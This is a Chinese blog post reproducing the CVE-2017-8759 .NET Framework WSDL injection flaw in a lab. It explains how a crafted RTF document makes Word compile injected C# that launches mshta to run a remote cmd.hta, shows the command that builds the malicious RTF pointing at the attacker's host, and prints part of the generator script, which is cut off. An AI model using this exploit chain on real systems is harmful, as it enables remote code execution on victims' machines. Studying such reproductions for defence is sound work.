.NET Framework漏洞(CVE-2017-8759)复现及后续渗透

参考:!bhdresh

简介

CVE-2017-8759是一个新型的Office文档高级威胁攻击漏洞,该漏洞允许恶意人士在解析SOAP WSDL的定义内容期间注入任意代码。FireEye公司对该微软Office文档进行了分析,并发现攻击者能够利用代码注入方式下载并执行一份包含PowerShell指令的Visual Basic脚本。黑客在Offcie文档中嵌入新的Moniker对象,利用的是.net库漏洞,在Office文档中加载执行远程的恶意.NET代码。

影响版本

影响到几乎所有旧版本的 .NET Framework。包括:

Microsoft .NET Framework 2.0 SP2

Microsoft .NET Framework 3.5

Microsoft .NET Framework 3.5.1

Microsoft .NET Framework 4.5.2

Microsoft .NET Framework 4.6

Microsoft .NET Framework 4.6.1

Microsoft .NET Framework 4.6.2

Microsoft .NET Framework 4.7

环境说明

虚拟机:VMware Fusion

攻击机操作系统:kali

攻击机ip:172.16.73.142

靶机操作系统:windows7 professional x86

靶机ip:172.16.73.140

渗透工具:metasploit,mimikatz,msfvenom

攻击原理

漏洞的整个攻击过程如下:

  1. 打开RTF文档(Word)

  2. RTF文档自动请求恶意SOAP Wsdl XML文档

  3. .NET Framework解析Wsdl XML为C#代码

  4. csc.exe将C#代码编译为dll

  5. Word加载dll执行恶意代码

​ 漏洞主要问题出现在 .NET Framework解析上,将远程的xml格式文件编译成c#执行的时候,解析模块中IsValidUrl函数没有正确处理XML中含有换行符的情况,导致调用者函数PrintClientProxy存在代码注入漏洞。

漏洞产生原因

函数PrintClientProxy在处理含有多个location的情况时,会将第一个location保留,其余的全部注释掉(图2红框部分)。然而,注释的处理代码没有考虑location中含有换行符的情况,导致换行符后的代码会被编译成可执行的C#代码。

打开生成的rtf文件请求的恶意soap wsdl xml文件如下:

19

在<soap:address location=“http://172.16.73.142?……>这里第一次调用IsValidUrl,传入参数location。

​ 下面的<soap:address location=”:

第二次调用IsValidUrl,传入参数是第二个location,第二个location带有换行符。System.Diagnostics.Process.Start方法会被注入。

生成的代码会被.NET框架的csc.exe编译,然后作为DLL加载到Office可执行程序中。之后编译出的C#代码,刚好注入了恶意代码生成了一个dll文件,

20

word加载编译后的dll。

用ultraedit打开该dll文件。在其中发现:

调用了System.Diagnostics.Process.Start函数,启动mshta.exe去执行远程恶意代码cmd.hta,

21

恶意的cmd.hta脚本嵌入在一个db后缀的二进制流文件中,在其中写入了shell。

复现过程

通过ifconfig查看攻击机ip。

1

通过python脚本生成恶意的rtf文件.

root@kali:~# python create.py -w test.rtf -u http://172.16.73.142/logo.txt

2

#!/usr/bin/env python
#coding:utf-8



import os,sys,thread,socket,sys,getopt,binascii,shutil,tempfile
from random import randint
from random import choice
from string import ascii_uppercase
from zipfile import ZipFile, ZIP_STORED, ZipInfo

def main(argv):

    global filename
    global docuri
    filename = ''
    docuri = ''
    #通过opt处理命令行参数输入

    opts, args = getopt.getopt(argv, "w:u",
                               ["filename=", "docuri="])
    for opt, arg in opts:


        if opt in ("-w", "--filename"):
            filename = arg
        elif opt in ("-u", "--docuri"):
            docuri = arg
    generate_exploit_rtf()
    sys.exit()

def generate_exploit_rtf():

    s=docuri
    docuri_hex = "00".join("{:02x}".format(ord(c)) for c in s) #docuri_hex通过读取攻击机ip,转为hex格式的地址。将内嵌一个连接到攻击地址的连接去下载执行shell。
    docuri_pad_len = 714 - len(docuri_hex)
    #填充
    docuri_pad = "0" * docuri_pad_len
    #生成的rtf文档内容,会自动请求恶意soap wsdl xml文档。
    payload = "{\\rtf1\\adeflang1025\\ansi\\ansicpg1252\\uc1\\adeff31507\\deff0\\st
  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值